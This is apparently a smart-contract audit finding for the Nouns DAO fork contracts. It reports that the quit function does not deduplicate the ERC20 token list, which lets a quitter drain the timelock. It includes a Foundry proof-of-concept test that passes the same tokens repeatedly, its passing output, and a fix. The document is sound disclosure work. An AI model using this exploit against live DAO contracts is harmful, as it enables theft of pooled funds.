Nouns DAO - 0xG0P1's results

Lines of code

https://github.com/nounsDAO/nouns-monorepo/blob/718211e063d511eeda1084710f6a682955e80dcb/packages/nouns-contracts/contracts/governance/fork/newdao/governance/NounsDAOLogicV1Fork.sol#L206-L252

Vulnerability details

Impact

The ERC20 funds in the timelock contract can be drained completely.

Proof of Concept

The quit function in the NounsDAOLogicV1Fork contract lacks duplicate checks for the erc20TokensToInclude array, allowing attackers to repeatedly include all the WhiteListed ERC20 tokens. Exploiting this vulnerability results in the complete drainage of tokens in the timelock contract. Furthermore, instead of receiving the proportional funds for the provided Nouns, the attacker receives all the pro rata funds held by the timelock. This vulnerability significantly compromises the intended distribution mechanism and exposes the protocol to substantial financial risk.

Test :

function test_quit_allowsChoosingErc20TokensToInclude() public {
    vm.prank(quitter);
    address[] memory tokensToInclude = new address[](8); //Array that passed as the param
    tokensToInclude[0] = address(token2); //Passing the WhiteListed tokens multiple times
    tokensToInclude[1] = address(token2);
    tokensToInclude[2] = address(token2);
    tokensToInclude[3] = address(token2);

    tokensToInclude[4] = address(token1);
    tokensToInclude[5] = address(token1);
    tokensToInclude[6] = address(token1);
    tokensToInclude[7] = address(token1);
    dao.quit(quitterTokens, tokensToInclude); //Calling the function

    assertEq(quitter.balance, 24 ether);

    console.log(token2.balanceOf(quitter),"THHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");
    console.log(token1.balanceOf(quitter),"THHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");
}

Results :

  [PASS] test_quit_allowsChoosingErc20TokensToInclude() (gas: 511712)
  Logs:
     7012 THHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
     9876 THHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH```

Tools Used

Manual Review

Recommended Mitigation Steps

Consider checking for the duplicates in the erc20TokensToInclude array which is passed to the quit function

Assessed type

Invalid Validation